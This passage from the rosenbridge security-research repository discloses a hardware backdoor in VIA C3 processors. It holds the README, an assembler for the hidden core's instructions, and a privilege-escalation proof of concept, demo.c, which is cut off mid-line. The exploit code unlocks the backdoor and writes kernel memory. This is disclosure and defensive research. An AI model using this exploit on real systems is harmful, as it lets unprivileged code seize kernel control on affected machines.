├── LICENSE ├── README.md ├── asm └── deis_asm.py ├── esc ├── Makefile ├── demo.c ├── escalate.c └── payload.asm ├── fix ├── Makefile └── lock_deis.sh ├── fuzz ├── deis │ ├── Makefile │ ├── fuzz_deis.c │ ├── fuzz_deis.sh │ └── seed_ins.h ├── exit │ ├── Makefile │ ├── fuzz_exit.c │ └── fuzz_exit.sh ├── manager │ ├── device │ │ ├── __init__.py │ │ └── device.py │ ├── fuzz_deis.py │ ├── fuzz_exit.py │ ├── generator.py │ ├── power │ │ ├── __init__.py │ │ ├── power.py │ │ ├── relay_ftdi.py │ │ └── relay_serial.py │ ├── repeat_fuzz_deis.sh │ ├── util │ │ ├── __init__.py │ │ └── indent.py │ └── watch_sessions.py └── wrap │ ├── Makefile │ ├── fuzz_wrapper.c │ └── fuzz_wrapper.sh ├── kern ├── Makefile ├── deis_kernel.c ├── deis_kernel.h ├── privregs │ ├── Makefile │ ├── privregs.c │ └── privregs.h ├── test_deis_kernel.c └── watch_mem.c ├── lock ├── Makefile ├── lock.c └── unlock.c ├── proc └── extract.py ├── rosenbridge.gif ├── test ├── Makefile └── check_instruction.c └── util ├── Makefile └── check.c /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2018 Christopher Domas 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy of 4 | this software and associated documentation files (the "Software"), to deal in 5 | the Software without restriction, including without limitation the rights to 6 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 7 | the Software, and to permit persons to whom the Software is furnished to do so, 8 | subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in all 11 | copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 15 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 16 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 17 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 18 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 19 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## project:rosenbridge 2 | : hardware backdoors in x86 CPUs 3 | 4 | github.com/xoreaxeaxeax/rosenbridge // domas // @xoreaxeaxeax 5 | 6 | 7 | 8 | ### Overview 9 | 10 | project:rosenbridge reveals a hardware backdoor in some desktop, laptop, and 11 | embedded x86 processors. 12 | 13 | The backdoor allows ring 3 (userland) code to circumvent processor protections 14 | to freely read and write ring 0 (kernel) data. While the backdoor is typically 15 | disabled (requiring ring 0 execution to enable it), we have found that it is 16 | *enabled by default* on some systems. 17 | 18 | This repository contains utilities to check if your processor is affected, close 19 | the backdoor if it is present, and the research and tools used to discover and 20 | analyze the backdoor. 21 | 22 | ### The Backdoor 23 | 24 | The rosenbridge backdoor is a small, non-x86 core embedded alongside the main 25 | x86 core in the CPU. It is enabled by a model-specific-register control bit, 26 | and then toggled with a _launch-instruction_. The embedded core is then fed 27 | commands, wrapped in a specially formatted x86 instruction. The core executes 28 | these commands (which we call the 'deeply embedded instruction set'), bypassing 29 | all memory protections and privilege checks. 30 | 31 | While the backdoor should require kernel level access to activate, it has been 32 | observed to be *enabled by default* on some systems, allowing any unprivileged 33 | code to modify the kernel. 34 | 35 | The rosenbridge backdoor is entirely distinct from other publicly known 36 | coprocessors on x86 CPUs, such as the Management Engine or Platform Security 37 | Processor; it is more deeply embedded than any known coprocessor, having access 38 | to not only all of the CPU's memory, but its register file and execution 39 | pipeline as well. 40 | 41 | ### Affected Systems 42 | 43 | It is thought that only VIA C3 CPUs are affected by this issue. The C-series 44 | processors are marketed towards industrial automation, point-of-sale, ATM, and 45 | healthcare hardware, as well as a variety of consumer desktop and laptop 46 | computers. 47 | 48 | ### Looking Forward 49 | 50 | The scope of this vulnerability is limited; generations of CPUs after the C3 no 51 | longer contain this feature. 52 | 53 | This work is released as a case study and thought experiment, illustrating how 54 | backdoors might arise in increasingly complex processors, and how researchers 55 | and end-users might identify such features. The tools and research offered 56 | here provide the starting point for ever-deeper processor vulnerability 57 | research. 58 | 59 | ### Checking your CPU 60 | 61 | To check if your CPU is affected: 62 | 63 | ``` 64 | git clone https://github.com/xoreaxeaxeax/rosenbridge 65 | cd rosenbridge/util 66 | make 67 | sudo modprobe msr 68 | sudo ./bin/check 69 | ``` 70 | 71 | The provided utility must be run on baremetal (not in a virtual-machine), and is 72 | in an *alpha* state. It may crash, panic, or hang systems not containing the 73 | backdoor. 74 | 75 | The utilities provided here are designed around a specific processor family and 76 | core; unfortunately, the tools will miss the backdoor if it has been even 77 | slightly modified from the researched form. 78 | 79 | ### Closing the Backdoor 80 | 81 | Some systems have the backdoor enabled by default, allowing unprivileged code to 82 | gain kernel level access without permission. If the steps in 'Checking your 83 | CPU' indicate that your CPU is vulnerable, you can install a script to close the 84 | backdoor early in the boot process: 85 | 86 | ``` 87 | cd fix 88 | make 89 | sudo make install 90 | reboot 91 | ``` 92 | 93 | Note that, even with this, an attacker with kernel level access can still 94 | re-enable the backdoor. This script is provided as an outline for correcting 95 | the issue during the boot process, but will require adaptation for different 96 | systems. 97 | 98 | ### Tools and Techniques 99 | 100 | The [sandsifter](https://github.com/xoreaxeaxeax/sandsifter) utility is used 101 | extensively in this research for uncovering unknown instructions. 102 | 103 | * asm 104 | 105 | An assembler for the Deeply Embedded Instruction Set (DEIS). It converts 106 | programs written in the custom rosenbridge assembly into x86 instructions, 107 | which, when executed following the _launch-instruction_, will send the 108 | commands to the hidden CPU core. 109 | 110 | * esc 111 | 112 | A proof-of-concept of using the rosenbridge backdoor for privilege 113 | escalation. 114 | 115 | * fix 116 | 117 | A rough outline for closing the vulnerability on affected systems, to the 118 | extent possible through model-specific-register updates. 119 | 120 | * fuzz 121 | 122 | A collection of utilities used to fuzz both the x86 and rosenbridge cores, 123 | in order to isolate the unknown _launch-instruction_ and 124 | _bridge-instruction_, and resolve the instruction format of the rosenbridge 125 | core. 126 | 127 | * deis 128 | 129 | The fuzzer used to explore the effects and capabilities of the 130 | hidden CPU core. 131 | 132 | * exit 133 | 134 | It is thought that, on some processors, an exit sequence is needed to 135 | switch back to the x86 core at the end of a DEIS sequence. This 136 | directory contains the utilities used to search for the exit sequence in 137 | early stages of the research, but was abandoned when a processor was 138 | found not requiring any such sequence. 139 | 140 | * manager 141 | 142 | A collection of python utilities designed to monitor and manage fuzzing 143 | tasks distributed across a network of workers. 144 | 145 | * wrap 146 | 147 | A stripped down version of the sandsifter fuzzer, used to identify the 148 | bridge-instruction that will send commands from the x86 core to the 149 | hidden rosenbridge core. 150 | 151 | * kern 152 | 153 | A collection of helper utilities used to monitor kernel memory and registers 154 | for changes caused by fuzzed DEIS instructions. 155 | 156 | * lock 157 | 158 | Utilities to lock or unlock the rosenbridge backdoor. 159 | 160 | * proc 161 | 162 | A tool to identify patterns from the fuzzing logs to identify classes of 163 | DEIS instruction behaviors. 164 | 165 | * test 166 | 167 | A tool used early in the research, to attempt to identify the hidden core's 168 | architecture by executing known RISC instructions. 169 | 170 | * util 171 | 172 | An alpha-state tool to detect whether or not a processor is affected by 173 | rosenbridge. 174 | 175 | ### References 176 | 177 | (TODO: link to whitepaper) 178 | 179 | (TODO: link to slides) 180 | 181 | ### Disclaimer 182 | 183 | The details and implications presented in this work are the authors’ inferences 184 | and opinions, derived from the research described. The research is performed 185 | and provided with the goal of identifying and fixing a perceived security 186 | vulnerability on the described CPUs. VIA processors are renowned for 187 | their low power usage and excellence in embedded designs; we believe that the 188 | functionality described was created in good faith as a useful feature for the 189 | embedded market, and was unintentionally left enabled on some early generations 190 | of the processor. No malicious intent is implied. 191 | 192 | ### Author 193 | 194 | project:rosenbridge is a research effort from Christopher Domas 195 | ([@xoreaxeaxeax](https://twitter.com/xoreaxeaxeax)). 196 | -------------------------------------------------------------------------------- /asm/deis_asm.py: -------------------------------------------------------------------------------- 1 | # 2 | # project:rosenbridge 3 | # domas // @xoreaxeaxeax 4 | # 5 | 6 | # the deis assembler # 7 | 8 | # a minimal subset of the deis instructions have been analyzed to reveal the 9 | # bitfields necessary to create a working privilege escalation payload. work on 10 | # analyzing the deis instruction set is far from complete, but this assembler 11 | # provides enough functionality to flexibly write kernel manipulation payloads. 12 | 13 | # the datasets for analyzing deis instructions are found in the rosenbridge_data 14 | # repository. 15 | 16 | # deis instructions: 17 | 18 | # lgd: load base address of gdt into register 19 | # mov: copy register contents 20 | # izx: load 2 byte immediate, zero extended 21 | # isx: load 2 byte immediate, sign extended 22 | # ra4: shift eax right by 4 23 | # la4: shift eax left by 4 24 | # ra8: shift eax right by 8 25 | # la8: shift eax left by 8 26 | # and: bitwise and of two registers, into eax 27 | # or: bitwise or of two registers, into eax 28 | # ada: add register to eax 29 | # sba: sub register from eax 30 | # ld4: load 4 bytes from kernel memory 31 | # st4: store 4 bytes into kernel memory 32 | # ad4: increment a register by 4 33 | # ad2: increment a register by 2 34 | # ad1: increment a register by 1 35 | # zl3: zero low 3 bytes of register 36 | # zl2: zero low 2 bytes of register 37 | # zl1: zero low byte of register 38 | # cmb: shift lo word of source into lo word of destination 39 | 40 | # bit key: 41 | # V probable opcode 42 | # ? unknown purpose 43 | # x possible don't-care 44 | # v probable operand 45 | 46 | import ctypes 47 | from ctypes import c_uint32 48 | import sys 49 | 50 | reg_bits = { 51 | "eax": 0b0000, 52 | "ebx": 0b0011, 53 | "ecx": 0b0001, 54 | "edx": 0b0010, 55 | "esi": 0b0110, 56 | "edi": 0b0111, 57 | "ebp": 0b0101, 58 | "esp": 0b0100, 59 | } 60 | 61 | class deis_bits(ctypes.LittleEndianStructure): 62 | pass 63 | 64 | class deis_insn(ctypes.Union): 65 | TEMPLATE = 0 66 | _fields_ = [("bits", deis_bits), ("insn", c_uint32)] 67 | def __str__(self): 68 | return "%08x" % self.insn 69 | 70 | # mov # 71 | 72 | # VVVV VVVV ???? vvvv ?vvv vxxx xxxx xxxx 73 | # ac169f51 [ 1010 1100 0001 0110 1001 1111 0101 0001 ]: esi -> ebx 74 | 75 | class deis_mov_bits(deis_bits): 76 | _fields_ = [ 77 | ("field_1", c_uint32, 11), 78 | ("dst", c_uint32, 4), 79 | ("field_2", c_uint32, 1), 80 | ("src", c_uint32, 4), 81 | ("field_3", c_uint32, 12), 82 | ] 83 | 84 | class deis_mov(deis_insn): 85 | TEMPLATE = 0xac169f51 86 | _fields_ = [("bits", deis_mov_bits), ("insn", c_uint32)] 87 | def __init__(self, src, dst): 88 | self.insn = self.TEMPLATE 89 | self.bits.src = reg_bits[src] 90 | self.bits.dst = reg_bits[dst] 91 | 92 | # lgd # 93 | 94 | # VVVV VVVV ???? vvvv ???? ???? xxxx xxxx 95 | # a313075b [ 1010 0011 0001 0011 0000 0111 0101 1011 ] 96 | 97 | class deis_lgd_bits(deis_bits): 98 | _fields_ = [ 99 | ("field_1", c_uint32, 16), 100 | ("dst", c_uint32, 4), 101 | ("field_2", c_uint32, 12), 102 | ] 103 | 104 | class deis_lgd(deis_insn): 105 | TEMPLATE = 0xa313075b 106 | _fields_ = [("bits", deis_lgd_bits), ("insn", c_uint32)] 107 | def __init__(self, dst): 108 | self.insn = self.TEMPLATE 109 | self.bits.dst = reg_bits[dst] 110 | 111 | # izx # 112 | 113 | # VVVV VVVV ???? vvvv vvvv vvvv vvvv vvvv 114 | # 2412baf2 [ 0010 0100 0001 0010 1011 1010 1111 0010 ]: edx: 0841fec3 -> 0000baf2 115 | 116 | class deis_izx_bits(deis_bits): 117 | _fields_ = [ 118 | ("src", c_uint32, 16), 119 | ("dst", c_uint32, 4), 120 | ("field_1", c_uint32, 12), 121 | ] 122 | 123 | class deis_izx(deis_insn): 124 | TEMPLATE = 0x2412baf2 125 | _fields_ = [("bits", deis_izx_bits), ("insn", c_uint32)] 126 | def __init__(self, src, dst): 127 | self.insn = self.TEMPLATE 128 | if type(src) is str: 129 | src = int(src, 16) 130 | self.bits.src = src 131 | self.bits.dst = reg_bits[dst] 132 | 133 | # isx # 134 | 135 | # VVVV VVVV ???? vvvv vvvv vvvv vvvv vvvv 136 | # 24b43402 [ 0010 0100 1011 0100 0011 0100 0000 0010 ]: esp: 5643a332 -> ffff3402 137 | 138 | class deis_isx_bits(deis_bits): 139 | _fields_ = [ 140 | ("src", c_uint32, 16), 141 | ("dst", c_uint32, 4), 142 | ("field_1", c_uint32, 12), 143 | ] 144 | 145 | class deis_isx(deis_insn): 146 | TEMPLATE = 0x24b43402 147 | _fields_ = [("bits", deis_isx_bits), ("insn", c_uint32)] 148 | def __init__(self, src, dst): 149 | self.insn = self.TEMPLATE 150 | if type(src) is str: 151 | src = int(src, 16) 152 | self.bits.src = src 153 | self.bits.dst = reg_bits[dst] 154 | 155 | # la4 # 156 | 157 | # VVVV ???? ???? ???? ???? ???? ???? ???? 158 | # 840badc7 [ 1000 0100 0000 1011 1010 1101 1100 0111 ]: eax: 0804c555 -> 804c5550 159 | 160 | class deis_la4_bits(deis_bits): 161 | _fields_ = [ 162 | ("field_1", c_uint32, 32), 163 | ] 164 | 165 | class deis_la4(deis_insn): 166 | TEMPLATE = 0x840badc7 167 | _fields_ = [("bits", deis_la4_bits), ("insn", c_uint32)] 168 | def __init__(self): 169 | self.insn = self.TEMPLATE 170 | 171 | # ra4 # 172 | 173 | # VVVV ???? ???? ???? ???? ???? ???? ???? 174 | # 813c65c3 [ 1000 0001 0011 1100 0110 0101 1100 0011 ]: eax: 0804c555 -> 00804c55 175 | 176 | class deis_ra4_bits(deis_bits): 177 | _fields_ = [ 178 | ("field_1", c_uint32, 32), 179 | ] 180 | 181 | class deis_ra4(deis_insn): 182 | TEMPLATE = 0x813c65c3 183 | _fields_ = [("bits", deis_ra4_bits), ("insn", c_uint32)] 184 | def __init__(self): 185 | self.insn = self.TEMPLATE 186 | 187 | 188 | # la8 # 189 | 190 | # VVVV ???? ???? ???? ???? ???? ???? ???? 191 | # 844475e0 [ 1000 0100 0100 0100 0111 0101 1110 0000 ]: eax: 0804c555 -> 04c55500 192 | 193 | class deis_la8_bits(deis_bits): 194 | _fields_ = [ 195 | ("field_1", c_uint32, 32), 196 | ] 197 | 198 | class deis_la8(deis_insn): 199 | TEMPLATE = 0x844475e0 200 | _fields_ = [("bits", deis_la8_bits), ("insn", c_uint32)] 201 | def __init__(self): 202 | self.insn = self.TEMPLATE 203 | 204 | # ra8 # 205 | 206 | # VVVV ???? ???? ???? ???? ???? ???? ???? 207 | # 84245de2 [ 1000 0100 0010 0100 0101 1101 1110 0010 ]: eax: 0804c555 -> 000804c5 208 | 209 | class deis_ra8_bits(deis_bits): 210 | _fields_ = [ 211 | ("field_1", c_uint32, 32), 212 | ] 213 | 214 | class deis_ra8(deis_insn): 215 | TEMPLATE = 0x84245de2 216 | _fields_ = [("bits", deis_ra8_bits), ("insn", c_uint32)] 217 | def __init__(self): 218 | self.insn = self.TEMPLATE 219 | 220 | # and # 221 | 222 | # VVVV VVVv vvv? vvvv ???? ???? ???? VVVV 223 | # 82748114 [ 1000 0010 0111 0100 1000 0001 0001 0100 ]: ebx: 3fc499bc ... esp: f44ed78e -> eax: 3444918c 224 | 225 | class deis_and_bits(deis_bits): 226 | _fields_ = [ 227 | ("field_1", c_uint32, 16), 228 | ("src1", c_uint32, 4), 229 | ("field_2", c_uint32, 1), 230 | ("src2", c_uint32, 4), 231 | ("field_3", c_uint32, 7), 232 | ] 233 | 234 | class deis_and(deis_insn): 235 | TEMPLATE = 0x82748114 236 | _fields_ = [("bits", deis_and_bits), ("insn", c_uint32)] 237 | def __init__(self, src1, src2): 238 | self.insn = self.TEMPLATE 239 | self.bits.src1 = reg_bits[src1] 240 | self.bits.src2 = reg_bits[src2] 241 | 242 | # or # 243 | 244 | # VVVV VVVv vvv? vvvv ???? ???? ???? VVVV 245 | # 8213e5d5 [ 1000 0010 0001 0011 1110 0101 1101 0101 ]: eax: 0804c389 ... ebx: dfd52762 -> eax: dfd5e7eb 246 | 247 | class deis_or_bits(deis_bits): 248 | _fields_ = [ 249 | ("field_1", c_uint32, 16), 250 | ("src1", c_uint32, 4), 251 | ("field_2", c_uint32, 1), 252 | ("src2", c_uint32, 4), 253 | ("field_3", c_uint32, 7), 254 | ] 255 | 256 | class deis_or(deis_insn): 257 | TEMPLATE = 0x8213e5d5 258 | _fields_ = [("bits", deis_or_bits), ("insn", c_uint32)] 259 | def __init__(self, src1, src2): 260 | self.insn = self.TEMPLATE 261 | self.bits.src1 = reg_bits[src1] 262 | self.bits.src2 = reg_bits[src2] 263 | 264 | # ada # 265 | 266 | # VVVV VVVV ???? vvvv ???? ???? xxxx ???? 267 | # 80d2c5d0 [ 1000 0000 1101 0010 1100 0101 1101 0000 ]: edx: 30300a77 ... eax: 0804c2e9 -> eax: 3834cd60 268 | 269 | class deis_ada_bits(deis_bits): 270 | _fields_ = [ 271 | ("field_1", c_uint32, 16), 272 | ("src", c_uint32, 4), 273 | ("field_2", c_uint32, 12), 274 | ] 275 | 276 | class deis_ada(deis_insn): 277 | TEMPLATE = 0x80d2c5d0 278 | _fields_ = [("bits", deis_ada_bits), ("insn", c_uint32)] 279 | 280 | def __init__(self, src): 281 | self.insn = self.TEMPLATE 282 | self.bits.src = reg_bits[src] 283 | 284 | # sub # 285 | 286 | # VVVV VVVV xxxx vvvv xxxx xxxx ???? ???? 287 | # 8012e5f2 [ 1000 0000 0001 0010 1110 0101 1111 0010 ]: eax: 0804c2e9 ... edx: 262e3d2e -> eax: e1d685bb 288 | 289 | class deis_sba_bits(deis_bits): 290 | _fields_ = [ 291 | ("field_1", c_uint32, 16), 292 | ("src", c_uint32, 4), 293 | ("field_2", c_uint32, 12), 294 | ] 295 | 296 | class deis_sba(deis_insn): 297 | TEMPLATE = 0x8012e5f2 298 | _fields_ = [("bits", deis_sba_bits), ("insn", c_uint32)] 299 | 300 | def __init__(self, src): 301 | self.insn = self.TEMPLATE 302 | self.bits.src = reg_bits[src] 303 | 304 | # zl3 # 305 | 306 | # VVVV VVV? xxxx xxxx ?vvv v??? ???? ???? 307 | # c5e9a0d7 [ 1100 0101 1110 1001 1010 0000 1101 0111 ]: zl3 esp 308 | # c5caa8de [ 1100 0101 1100 1010 1010 1000 1101 1110 ]: zl3 ebp 309 | # c5ca88de [ 1100 0101 1100 1010 1000 1000 1101 1110 ]: zl3 ecx 310 | # c451b0c6 [ 1100 0100 0101 0001 1011 0000 1100 0110 ]: zl3 esi 311 | # c45190c6 [ 1100 0100 0101 0001 1001 0000 1100 0110 ]: zl3 edx 312 | 313 | class deis_zl3_bits(deis_bits): 314 | _fields_ = [ 315 | ("field_1", c_uint32, 11), 316 | ("reg", c_uint32, 4), 317 | ("field_2", c_uint32, 17), 318 | ] 319 | 320 | class deis_zl3(deis_insn): 321 | TEMPLATE = 0xc5e9a0d7 322 | _fields_ = [("bits", deis_zl3_bits), ("insn", c_uint32)] 323 | 324 | def __init__(self, reg): 325 | self.insn = self.TEMPLATE 326 | self.bits.reg = reg_bits[reg] 327 | 328 | # zl2 # 329 | 330 | # VVVV VVV? xxxx xxxx ?vvv v??? ???? ???? 331 | # c64ea11c [ 1100 0110 0100 1110 1010 0001 0001 1100 ]: zl2 esp 332 | 333 | class deis_zl2_bits(deis_bits): 334 | _fields_ = [ 335 | ("field_1", c_uint32, 11), 336 | ("reg", c_uint32, 4), 337 | ("field_2", c_uint32, 17), 338 | ] 339 | 340 | class deis_zl2(deis_insn): 341 | TEMPLATE = 0xc64ea11c 342 | _fields_ = [("bits", deis_zl2_bits), ("insn", c_uint32)] 343 | 344 | def __init__(self, reg): 345 | self.insn = self.TEMPLATE 346 | self.bits.reg = reg_bits[reg] 347 | 348 | # zl1 # 349 | 350 | # VVVV VVV? xxxx xxxx ?vvv v??? ???? ???? 351 | # 8676ba54 [ 1000 0110 0111 0110 1011 1010 0101 0100 ]: zl1 edi 352 | # 86769a5c [ 1000 0110 0111 0110 1001 1010 0101 1100 ]: zl1 ebx 353 | 354 | class deis_zl1_bits(deis_bits): 355 | _fields_ = [ 356 | ("field_1", c_uint32, 11), 357 | ("reg", c_uint32, 4), 358 | ("field_2", c_uint32, 17), 359 | ] 360 | 361 | class deis_zl1(deis_insn): 362 | TEMPLATE = 0x8676ba54 363 | _fields_ = [("bits", deis_zl1_bits), ("insn", c_uint32)] 364 | 365 | def __init__(self, reg): 366 | self.insn = self.TEMPLATE 367 | self.bits.reg = reg_bits[reg] 368 | 369 | # ld4 # 370 | 371 | # off src dst len? 372 | # VVVV VVVV vvv? vvvv ?vvv v??? vv?? ???? 373 | # c8138c89 [ 1100 1000 0001 0011 1000 1100 1000 1001 ]: ecx: 00000000 -> 44332211 374 | 375 | class deis_ld4_bits(deis_bits): 376 | _fields_ = [ 377 | ("field_1", c_uint32, 11), 378 | ("dst", c_uint32, 4), 379 | ("field_2", c_uint32, 1), 380 | ("src", c_uint32, 4), 381 | ("field_3", c_uint32, 1), 382 | ("off", c_uint32, 3), 383 | ("field_4", c_uint32, 8), 384 | ] 385 | 386 | class deis_ld4(deis_insn): 387 | TEMPLATE = 0xc8138c89 388 | _fields_ = [("bits", deis_ld4_bits), ("insn", c_uint32)] 389 | 390 | def __init__(self, src, dst): 391 | self.insn = self.TEMPLATE 392 | self.bits.src = reg_bits[src] 393 | self.bits.dst = reg_bits[dst] 394 | 395 | # st4 # 396 | 397 | # off dst src len? 398 | # VVVV VVVV vvv? vvvv ?vvv v??? vv?? ???? 399 | # e0138dfd [ 1110 0000 0001 0011 1000 1101 1111 1101 ]: 11223344 -> b642f0c7 400 | # e2539dfd [ 1110 0010 0101 0011 1001 1101 1111 1101 ]: 11223344 -> b542f0c7 401 | 402 | class deis_st4_bits(deis_bits): 403 | _fields_ = [ 404 | ("field_1", c_uint32, 11), 405 | ("src", c_uint32, 4), 406 | ("field_2", c_uint32, 1), 407 | ("dst", c_uint32, 4), 408 | ("field_3", c_uint32, 1), 409 | ("off", c_uint32, 3), 410 | ("field_4", c_uint32, 8), 411 | ] 412 | 413 | class deis_st4(deis_insn): 414 | TEMPLATE = 0xe0138dfd 415 | _fields_ = [("bits", deis_st4_bits), ("insn", c_uint32)] 416 | def __init__(self, src, dst): 417 | self.insn = self.TEMPLATE 418 | self.bits.src = reg_bits[src] 419 | self.bits.dst = reg_bits[dst] 420 | 421 | # ad4 # 422 | 423 | # reg val 424 | # VVVV VVVv vvv? ??vv xxxx xxxx xxxx xxxx 425 | # 0a3b118a [ 0000 1010 0011 1011 0001 0001 1000 1010 ]: ecx: 0841fec2 -> 0841fec6 426 | 427 | class deis_ad4_bits(deis_bits): 428 | _fields_ = [ 429 | ("field_1", c_uint32, 21), 430 | ("reg", c_uint32, 4), 431 | ("field_2", c_uint32, 7), 432 | ] 433 | 434 | class deis_ad4(deis_insn): 435 | TEMPLATE = 0x0a3b118a 436 | _fields_ = [("bits", deis_ad4_bits), ("insn", c_uint32)] 437 | 438 | def __init__(self, reg): 439 | self.insn = self.TEMPLATE 440 | self.bits.reg = reg_bits[reg] 441 | 442 | # ad2 # 443 | 444 | # reg val 445 | # VVVV VVVv vvv? ??vv xxxx xxxx xxxx xxxx 446 | # 0a3af97f [ 0000 1010 0011 1010 1111 1001 0111 1111 ]: ecx: 0841fec2 -> 0841fec4 447 | 448 | class deis_ad2_bits(deis_bits): 449 | _fields_ = [ 450 | ("field_1", c_uint32, 21), 451 | ("reg", c_uint32, 4), 452 | ("field_2", c_uint32, 7), 453 | ] 454 | 455 | class deis_ad2(deis_insn): 456 | TEMPLATE = 0x0a3af97f 457 | _fields_ = [("bits", deis_ad2_bits), ("insn", c_uint32)] 458 | 459 | def __init__(self, reg): 460 | self.insn = self.TEMPLATE 461 | self.bits.reg = reg_bits[reg] 462 | 463 | # ad1 # 464 | 465 | # reg val 466 | # VVVV VVVv vvv? ??vv xxxx xxxx xxxx xxxx 467 | # 0a29a7a0 [ 0000 1010 0010 1001 1010 0111 1010 0000 ]: ecx: a212dce8 -> a212dce9 468 | 469 | class deis_ad1_bits(deis_bits): 470 | _fields_ = [ 471 | ("field_1", c_uint32, 21), 472 | ("reg", c_uint32, 4), 473 | ("field_2", c_uint32, 7), 474 | ] 475 | 476 | class deis_ad1(deis_insn): 477 | TEMPLATE = 0x0a29a7a0 478 | _fields_ = [("bits", deis_ad1_bits), ("insn", c_uint32)] 479 | 480 | def __init__(self, reg): 481 | self.insn = self.TEMPLATE 482 | self.bits.reg = reg_bits[reg] 483 | 484 | # cmb # 485 | 486 | # VVVV VVVV ???? vvvv ?vvv v??? ???? ???? 487 | # a2528c33 [ 1010 0010 0101 0010 1000 1100 0011 0011 ] 488 | # a2528c33 [ 1010 0010 0101 0010 1000 1100 0011 0011 ]: edx: 1b6a2620, ecx: 7b0c160d -> 2620160d 489 | # a252ac33 [ 1010 0010 0101 0010 1010 1100 0011 0011 ]: edx: 8c69f5e2, ebp: f9291fe1 -> f5e21fe1 490 | 491 | class deis_cmb_bits(deis_bits): 492 | _fields_ = [ 493 | ("field_1", c_uint32, 11), 494 | ("dst", c_uint32, 4), 495 | ("field_2", c_uint32, 1), 496 | ("src", c_uint32, 4), 497 | ("field_3", c_uint32, 12), 498 | ] 499 | 500 | class deis_cmb(deis_insn): 501 | TEMPLATE = 0xa2528c33 502 | _fields_ = [("bits", deis_cmb_bits), ("insn", c_uint32)] 503 | 504 | def __init__(self, src, dst): 505 | self.insn = self.TEMPLATE 506 | self.bits.src = reg_bits[src] 507 | self.bits.dst = reg_bits[dst] 508 | 509 | 510 | if __name__ == "__main__": 511 | if "--test" in sys.argv: 512 | print deis_mov("eax", "ebx") 513 | print deis_mov("ebx", "edx") 514 | print deis_lgd("esi") 515 | print deis_izx(0x1122, "edi") 516 | print deis_isx(0x1122, "esp") 517 | print deis_ra4() 518 | print deis_la4() 519 | print deis_ra8() 520 | print deis_la8() 521 | print deis_and("edx", "ecx") 522 | print deis_or("esi", "edi") 523 | print deis_ada("edx") 524 | print deis_sba("ecx") 525 | print deis_ld4("eax", "eax") 526 | print deis_ad4("edx") 527 | print deis_zl3("esi") 528 | print deis_zl2("esi") 529 | print deis_zl1("esi") 530 | print deis_cmb("esi", "edi") 531 | else: 532 | with open(sys.argv[1], "r") as f: 533 | lines = f.readlines() 534 | print "/* automatically generated with deis_asm.py */" 535 | print "/* you are strongly encouraged to not modify this file directly */" 536 | for l in lines: 537 | l = l.split("#", 1)[0].strip() 538 | if l: 539 | s = l.split(" ", 1) 540 | op = s[0] 541 | if len(s) > 1: 542 | args = s[1].split(",") 543 | else: 544 | args = [] 545 | 546 | op = op.strip() 547 | args = [a.strip() for a in args] 548 | 549 | # probably don't use this on untrusted source :) 550 | asm = getattr(sys.modules[__name__], "deis_%s" % op)(*args) 551 | 552 | print "__asm__ (\"bound %%eax,0x%08x(,%%eax,1)\");" % asm.insn 553 | -------------------------------------------------------------------------------- /esc/Makefile: -------------------------------------------------------------------------------- 1 | all: bin/escalate 2 | 3 | bin/escalate: escalate.c payload.asm 4 | mkdir -p bin 5 | python ../asm/deis_asm.py payload.asm > bin/payload.h 6 | gcc -m32 escalate.c -o bin/escalate 7 | 8 | clean: 9 | rm -f bin/* 10 | -------------------------------------------------------------------------------- /esc/demo.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(void) 4 | { 5 | /* unlock the backdoor */ 6 | __asm__ ("movl $payload, %eax"); 7 | __asm__ (".byte 0x0f, 0x3f"); 8 | 9 | /* modify kernel memory */ 10 | __asm__ ("payload:"); 11 | __asm__ ("bound %eax,0xa310075b(,%eax,1)"); 12 | __asm__ ("bound %eax,0x24120078(,%eax,1)"); 13 | __asm__ ("bound %eax,0x80d2c5d0(,%eax,1)"); 14 | __asm__ ("bound %eax,0x0a1af97f(,%eax,1)"); 15 | __asm__ ("bound %eax,0xc8109489(,%eax,1)"); 16 | __asm__ ("bound %eax,0x0a1af97f(,%eax,1)"); 17 | __asm__ ("bound %eax,0xc8109c89(,%eax,1)"); 18 | __asm__ ("bound %eax,0xc5e998d7(,%eax,1)"); 19 | __asm__ ("bound %eax,0xac128751(,%eax,1)"); 20 | __asm__ ("bound %eax,0x844475e0(,%eax,1)"); 21 | __asm__ ("bound %eax,0x84245de2(,%eax,1)"); 22 | __asm__ ("bound %eax,0x8213e5d5(,%eax,1)"); 23 | __asm__ ("bound %eax,0x24115f20(,%eax,1)"); 24 | __asm__ ("bound %eax,0x2412c133(,%eax,1)"); 25 | __asm__ ("bound %eax,0xa2519433(,%eax,1)"); 26 | __asm__ ("bound %eax,0x80d2c5d0(,%eax,1)"); 27 | __asm__ ("bound %eax,0xc8108489(,%eax,1)"); 28 | __asm__ ("bound %eax,0x24120208(,%eax,1)"); 29 | __asm__ ("bound %eax,0x80d2c5d0(,%eax,1)"); 30 | __asm__ ("bound %eax,0xc8108489(,%eax,1)"); 31 | __asm__ ("bound %eax,0x24120000(,%eax,1)"); 32 | __asm__ ("bound %eax,0x24110004(,%eax,1)"); 33 | __asm__ ("bound %eax,0x80d1c5d0(,%eax,1)"); 34 | __asm__ ("bound %eax,0xe01095fd(,%eax,1)"); 35 | __asm__ ("bound %eax,0x80d1c5d0(,%eax,1)"); 36 | __asm__ ("bound %eax,0xe01095fd(,%eax,1)"); 37 | __asm__ ("bound %eax,0x80d1c5d0(,%eax,1)"); 38 | __asm__ ("bound %eax,0x80d1c5d0(,%eax,1)"); 39 | __asm__ ("bound %eax,0xe0108dfd(,%eax,1)"); 40 | __asm__ ("bound 